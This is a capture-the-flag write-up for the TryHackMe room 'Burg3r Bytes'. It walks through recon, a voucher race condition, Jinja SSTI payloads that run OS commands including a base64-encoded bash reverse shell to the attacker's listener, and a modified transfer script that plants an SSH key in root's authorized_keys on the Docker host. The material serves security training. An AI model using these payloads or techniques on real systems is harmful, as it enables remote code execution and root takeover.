TryHack3M: Burg3r Bytes

They say these burgers are worth every penny. Can you buy one? - by cmnatic, munra and melmols

The following post by 0xb0b is licensed under CC BY 4.0


Recon

We start with a Nmap scan and find only two open ports. On port 22 we are dealing with SSH and on port 80 with a web server.

We can find out more with a service and a default script scan. We are dealing with a Werkzeug/3.0.2 Python/3.8.10 server. Mostly associated with Flask and the tool debug console.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/TryHack3M/burger]
└─$ nmap -sC -sV -p 22,80 burger.thm -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-15 16:58 EDT
Nmap scan report for burger.thm (10.10.187.227)
Host is up (0.037s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 82:d5:c0:de:b4:f5:4b:fc:92:00:21:86:24:a3:3d:a2 (RSA)
|   256 f4:36:a3:f5:aa:95:2b:35:1f:0e:58:cb:fa:57:df:bb (ECDSA)
|_  256 fd:f9:f0:61:0c:29:19:ec:58:f6:46:45:27:d7:b1:35 (ED25519)
80/tcp open  http    Werkzeug/3.0.2 Python/3.8.10
|_http-server-header: Werkzeug/3.0.2 Python/3.8.10
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.2 Python/3.8.10
|     Date: Mon, 15 Apr 2024 20:59:00 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 12703
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0, shrink-to-fit=no">
|     <title>Burg3rByte</title>
|     <link rel="stylesheet" href="/static/css/bootstrap.min.css">
|     <link rel="stylesheet" href="/static/css/stylesheet.css">
|     </head>
|     <body>
|     <nav class="navbar navbar-light navbar-expand-md py-3">
|     <div class="container"><a class="navbar-brand d-flex align-items-center" href="#"><span style="padding-right: 0px;">Burg3rByte</span></a><button data-toggle="collapse" class="navbar-toggler" data-target="#navcol-4"><span class="sr-only">Toggle navigation</span><span class="navbar-toggler-icon"></span></button>
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.2 Python/3.8.10
|     Date: Mon, 15 Apr 2024 20:59:00 GMT
|     Content-Type: text/html; charset=utf-8
|     Allow: HEAD, GET, OPTIONS
|     Content-Length: 0
|     Connection: close
|   RTSPRequest: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
|_http-title: Burg3rByte

The Gobuster scan gives us the Console Directory in addition to the directories of the checkout system. At first glance, this appears to be the entry point into the system.

We visit the console first and see that it is secured with a PIN. This can be reconstructed using an exploit on HackTricks, but it requires private bits. Unfortunately, we can only access these if an LFI or SQLI (with file inclusion capabilities) vulnerability is revealed somewhere . This is where the most time testing all the parameters was spent. OWASP ZAP also gave some false positives towards SQLI. But nothing led to success.

Further explanations can be found in Hacktricks for the Pin Exploit tool. A showacase of theWerkezug Pin Exploit can be found under the following link: https://0xb0b.gitbook.io/writeups/tryhackme/2023/advent-of-cyber-23-side-quest/the-bandit-surfer#what-is-the-user-flag

Let's go ahead and visit the page. Here we have some items to choose from with exorbitant prices. We can pay for none of the items with our credit. But the room description mentions the three millionth visitor who gets everything for free. And they're talking about a voucher.

We can add items to the basket.

And enter our name and a voucher code at checkout. If we want to place our order, we are told that we do not have enough credit. Too bad. A lot of time has been lost here; vouchers were tried first with the item names from the menu.

Initial Access

However, it turns out that it is not the item names from the menu that could represent a voucher, but the item names shown in the basket. We receive a 50% voucher with the code TRYHACK3M.

Nevertheless, we still can't buy anything with it. We need at least a 100% voucher. If we take a closer look at the applied voucher field, we see that it looks like an array. Perhaps a voucher can be redeemed several times. Several attempts at passing different parameters were unsuccessful. But it is noticeable that loading the voucher takes some time.

So we open a second browser and send two vouchers at the same time. And lo and behold, our voucher is counted twice. We have a 100% voucher and are taken to a thank-you page on which our name is reflected.

On the Thank-you page, we have control over the reflected name via the name parameter of the GET reqeust. Alternatively, we can now check out again to test our payloads.

Quickly tried a couple of payloads like XSS and SSTI, and we have a hit with SSTI; {{7*7}} is evaluated to 49. Nice. Here we have our entry point for a reverse shell. We don't need the Werkzeug console at all.

We use a very good resource from Ingo Kleiber; I recommend studying it carefully if you have not had much experience with SSTIs.

We run the OS command id with the following payload, and we are the root user. Interesting.

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

We are preparing a reverse shell. Obtained from revshells.com. When trying to get a shell, we noticed that many common binaries do not exist, and we are root directly. In / we find a .dockerenv file, this will probably be a Docker container.

Using this simple reverse shell command, we get a connection back to our listener on port 4445.

{{request.application.__globals__.__builtins__.__import__('os').popen('echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjguMjExLjEvNDQ0NSAwPiYxCg== | base64 -d | bash').read()}}

We also upgrade our shell.

In the spawned directory /app, we find the first flag.

Privilege Escalation

We use linpeas to simplify enumeration. But we have no direct way to get the script from our attack box to the target using curl or nc, for example.

Instead, we can convert the script to base64 using CyberChef and paste it to the machine via the interactive reverse shell. Below is the shortened command, which I find can be very helpful in some situations.

echo <base64 of linpeas> | base64 -d | tee linpeas.sh

chmod +x linpeas

We see a very conspicuous cronjob of /app/cron/client_py.py with the specification of dockergateway 172.17.0.1 on port 69.

When analyzing the source code and executing the file, we see that we can download the site.db file. Possibly from the host. The first idea was to get the flag via /root/flag.txt, /root/root.txt, or other files like/root/.ssh/id_rsa/ or /etc/passwd by editing a copy of the script, but this did not work.

Below is the client_py.py script, which implements a secure file transfer protocol using RSA encryption, signatures, and socket programming. It handles reading and writing files to a server, encrypting and decrypting data, and managing communication errors. The program utilizes PKCS1_OAEP for encryption and decryption and PSS with SHA256 for digital signatures, ensuring secure data transfer operations over a network.

client_py.py
import sys
import socket
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Signature import pss
from Crypto.Hash import SHA256
import binascii
import base64

MAX_SIZE = 200

opcodes = {
    'read': 1,
    'write': 2,
    'data': 3,
    'ack': 4,
    'error': 5
}

mode_strings = ['netascii', 'octet', 'mail']

with open("client.key", "rb") as f:
    data = f.read()
    privkey = RSA.import_key(data)

with open("client.crt", "rb") as f:
    data = f.read()
    pubkey = RSA.import_key(data)

try:
    with open("server.crt", "rb") as f:
        data = f.read()
        server_pubkey = RSA.import_key(data)
except:
    server_pubkey = False

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(3.0)
server_address = (sys.argv[1], int(sys.argv[2]))

def encrypt(s, pubkey):
    cipher = PKCS1_OAEP.new(pubkey)
    return cipher.encrypt(s)

def decrypt(s, privkey):
    cipher = PKCS1_OAEP.new(privkey)
    return cipher.decrypt(s)

def send_rrq(filename, mode, signature, server):
    rrq = bytearray()
    rrq.append(0)
    rrq.append(opcodes['read'])
    rrq += bytearray(filename)
    rrq.append(0)
    rrq += bytearray(mode)
    rrq.append(0)
    rrq += bytearray(signature)
    rrq.append(0)
    sock.sendto(rrq, server)
    return True

def send_wrq(filename, mode, server):
    wrq = bytearray()
    wrq.append(0)
    wrq.append(opcodes['write'])
    wrq += bytearray(filename)
    wrq.append(0)
    wrq += bytearray(mode)
    wrq.append(0)
    sock.sendto(wrq, server)
    return True

def send_ack(block_number, server):
    if len(block_number) != 2:
        print('Error: Block number must be 2 bytes long.')
        return False
    ack = bytearray()
    ack.append(0)
    ack.append(opcodes['ack'])
    ack += bytearray(block_number)
    sock.sendto(ack, server)
    return True

def send_error(server, code, msg):
    err = bytearray()
    err.append(0)
    err.append(opcodes['error'])
    err.append(0)
    err.append(code & 0xff)
    pkt += bytearray(msg + b'\0')
    sock.sendto(pkt, server)

def send_data(server, block_num, block):
    if len(block_num) != 2:
        print('Error: Block number must be 2 bytes long.')
        return False
    pkt = bytearray()
    pkt.append(0)
    pkt.append(opcodes['data'])
    pkt += bytearray(block_num)
    pkt += bytearray(block)
    sock.sendto(pkt, server)

def get_file(filename, mode):
    h = SHA256.new(filename)
    signature = base64.b64encode(pss.new(privkey).sign(h))

    send_rrq(filename, mode, signature, server_address)
    
    file = open(filename, "wb")

    while True:
        data, server = sock.recvfrom(MAX_SIZE * 3)

        if data[1] == opcodes['error']:
            error_code = int.from_bytes(data[2:4], byteorder='big')
            print(data[4:])
            break
        send_ack(data[2:4], server)
        content = data[4:]
        content = base64.b64decode(content)
        content = decrypt(content, privkey)
        file.write(content)
        if len(content) < MAX_SIZE:
            print("file received!")
            break

def put_file(filename, mode):
    if not server_pubkey:
        print("Error: Server pubkey not configured. You won't be able to PUT")
        return

    try:
        file = open(filename, "rb")
        fdata = file.read()
        total_len = len(fdata)
    except:
        print("Error: File doesn't exist")
        return False

    send_wrq(filename, mode, server_address)
    data, server = sock.recvfrom(MAX_SIZE * 3)
    
    if data != b'\x00\x04\x00\x00': # ack 0
        print("Error: Server didn't respond with ACK to WRQ")
        return False

    block_num = 1
    while len(fdata) > 0:
        b_block_num = block_num.to_bytes(2, 'big')
        block = fdata[:MAX_SIZE]
        block = encrypt(block, server_pubkey)
        block = base64.b64encode(block)
        fdata = fdata[MAX_SIZE:]
        send_data(server, b_block_num, block)
        data, server = sock.recvfrom(MAX_SIZE * 3)
        
        if data != b'\x00\x04' + b_block_num:
            print("Error: Server sent unexpected response")
            return False

        block_num += 1

    if total_len % MAX_SIZE == 0:
        b_block_num = block_num.to_bytes(2, 'big')
        send_data(server, b_block_num, b"")
        data, server = sock.recvfrom(MAX_SIZE * 3)
        
        if data != b'\x00\x04' + b_block_num:
            print("Error: Server sent unexpected response")
            return False

    print("File sent successfully")
    return True

def main():
    filename = b'site.db'
    mode = b'netascii'

    get_file(filename, mode)
    exit(0)

if __name__ == '__main__':
    main()

Here is an example of trying to customize the copy of client_py.py to remove the /etc/passwd. The customization was first made using sed.

cp client_py.py copy.py
sed -i "s|filename = b'site.db'|filename = b'/etc/passwd'|g" copy.py

Unfortunately, copying files did not help. But the script reveals even more functionalities; we can also bring files onto the system. This leads to the idea of placing our own public key in /root/.ssh/authorized_keys in order to log onto the system with a specially generated ssh key via SSH.

However, to be able to use the function, we need the server.crt. Unfortunately, we only have client.crt in the /app/cron folder.

...
try:
    with open("server.crt", "rb") as f:
        data = f.read()
        server_pubkey = RSA.import_key(data)
except:
    server_pubkey = False
...
...
def put_file(filename, mode):
    if not server_pubkey:
        print("Error: Server pubkey not configured. You won't be able to PUT")
        return

    try:
        file = open(filename, "rb")
        fdata = file.read()
        total_len = len(fdata)
    except:
        print("Error: File doesn't exist")
        return Fals
...

So, let's make a copy again of client_py.py to reset our changes and replace site.db with server.cert. Maybe we are able to retrieve it right away.

cp client_py.py copy.py
sed -i "s|filename = b'site.db'|filename = b'server.crt'|g" copy.py
python3 copy.py 172.17.0.1 69

After we have executed the script, we have the server.crt in the folder and now are able to transfer files to the host system.

So let's generate our key pair.

And paste it to the target system.

echo <pubkey> > authorized_keys

Again, we reset the copy.py file and replace the function and filename in the main function.

cp client_py.py copy.py
sed -i '/def main()/,/exit(0)/s/get_file(filename, mode)/put_file(filename, mode)/' copy.py
sed -i "s|filename = b'site.db'|filename = b'authorized_keys'|g" copy.py

After executing the scrip we see that we successfully transfered the file. But wait. It is not there were it is supposed to be. We still cannot access the system via SSH. We will probably have to modify the script further

python3 copy.py 172.17.0.1 69

On closer inspection, the wrq function is responsible for writing the file name on the server. The exact path can certainly be specified here. In the put_file function, we extend the file name by b'/root/.ssh/, which is passed to wrq. We also change the file name to authorized_keys. Just as it is in our folder and call put_file in main instead of get_file.

Below is the adapted script:

copy.py
import sys
import socket
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Signature import pss
from Crypto.Hash import SHA256
import binascii
import base64

MAX_SIZE = 200

opcodes = {
    'read': 1,
    'write': 2,
    'data': 3,
    'ack': 4,
    'error': 5
}

mode_strings = ['netascii', 'octet', 'mail']

with open("client.key", "rb") as f:
    data = f.read()
    privkey = RSA.import_key(data)

with open("client.crt", "rb") as f:
    data = f.read()
    pubkey = RSA.import_key(data)

try:
    with open("server.crt", "rb") as f:
        data = f.read()
        server_pubkey = RSA.import_key(data)
except:
    server_pubkey = False

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(3.0)
server_address = (sys.argv[1], int(sys.argv[2]))

def encrypt(s, pubkey):
    cipher = PKCS1_OAEP.new(pubkey)
    return cipher.encrypt(s)

def decrypt(s, privkey):
    cipher = PKCS1_OAEP.new(privkey)
    return cipher.decrypt(s)

def send_rrq(filename, mode, signature, server):
    rrq = bytearray()
    rrq.append(0)
    rrq.append(opcodes['read'])
    rrq += bytearray(filename)
    rrq.append(0)
    rrq += bytearray(mode)
    rrq.append(0)
    rrq += bytearray(signature)
    rrq.append(0)
    sock.sendto(rrq, server)
    return True

def send_wrq(filename, mode, server):
    wrq = bytearray()
    wrq.append(0)
    wrq.append(opcodes['write'])
    wrq += bytearray(filename)
    wrq.append(0)
    wrq += bytearray(mode)
    wrq.append(0)
    print(wrq)
    sock.sendto(wrq, server)
    return True

def send_ack(block_number, server):
    if len(block_number) != 2:
        print('Error: Block number must be 2 bytes long.')
        return False
    ack = bytearray()
    ack.append(0)
    ack.append(opcodes['ack'])
    ack += bytearray(block_number)
    sock.sendto(ack, server)
    return True

def send_error(server, code, msg):
    err = bytearray()
    err.append(0)
    err.append(opcodes['error'])
    err.append(0)
    err.append(code & 0xff)
    pkt += bytearray(msg + b'\0')
    sock.sendto(pkt, server)

def send_data(server, block_num, block):
    if len(block_num) != 2:
        print('Error: Block number must be 2 bytes long.')
        return False
    pkt = bytearray()
    pkt.append(0)
    pkt.append(opcodes['data'])
    pkt += bytearray(block_num)
    pkt += bytearray(block)
    sock.sendto(pkt, server)

def get_file(filename, mode):
    h = SHA256.new(filename)
    signature = base64.b64encode(pss.new(privkey).sign(h))

    send_rrq(filename, mode, signature, server_address)
    
    file = open(filename, "wb")

    while True:
        data, server = sock.recvfrom(MAX_SIZE * 3)

        if data[1] == opcodes['error']:
            error_code = int.from_bytes(data[2:4], byteorder='big')
            print(data[4:])
            break
        send_ack(data[2:4], server)
        content = data[4:]
        content = base64.b64decode(content)
        content = decrypt(content, privkey)
        file.write(content)
        if len(content) < MAX_SIZE:
            print("file received!")
            break

def put_file(filename, mode):
    if not server_pubkey:
        print("Error: Server pubkey not configured. You won't be able to PUT")
        return

    try:
        file = open(filename, "rb")
        fdata = file.read()
        total_len = len(fdata)
    except:
        print("Error: File doesn't exist")
        return False
    filename = b'/root/.ssh/'+filename
    send_wrq(filename, mode, server_address)
    data, server = sock.recvfrom(MAX_SIZE * 3)
    
    if data != b'\x00\x04\x00\x00': # ack 0
        print("Error: Server didn't respond with ACK to WRQ")
        return False

    block_num = 1
    while len(fdata) > 0:
        b_block_num = block_num.to_bytes(2, 'big')
        block = fdata[:MAX_SIZE]
        block = encrypt(block, server_pubkey)
        block = base64.b64encode(block)
        fdata = fdata[MAX_SIZE:]
        send_data(server, b_block_num, block)
        data, server = sock.recvfrom(MAX_SIZE * 3)
        
        if data != b'\x00\x04' + b_block_num:
            print("Error: Server sent unexpected response")
            return False

        block_num += 1

    if total_len % MAX_SIZE == 0:
        b_block_num = block_num.to_bytes(2, 'big')
        send_data(server, b_block_num, b"")
        data, server = sock.recvfrom(MAX_SIZE * 3)
        
        if data != b'\x00\x04' + b_block_num:
            print("Error: Server sent unexpected response")
            return False

    print("File sent successfully")
    return True

def main():
    filename = b'authorized_keys'
    mode = b'netascii'

    put_file(filename, mode)
    exit(0)

if __name__ == '__main__':
    main()

Now we have to get the whole script onto the system, which we do as in the Linpeas example. Convert the script to base64 using CyberChef, decode it on the system, and add it to the file using tee.

echo <base64 of copy.py> | base64 -d | tee copy.py

After executing the command successfully, the script should be printed to the console.

Next, we execute the script...

python3 copy.py 172.17.0.1

...And then we are able to connect as root to the host via SSH. You might need to add the correct permissions to the private key via cmod 600 id_rsa. We find the root flag in the home directory of root. It does not have the usual name.

Last updated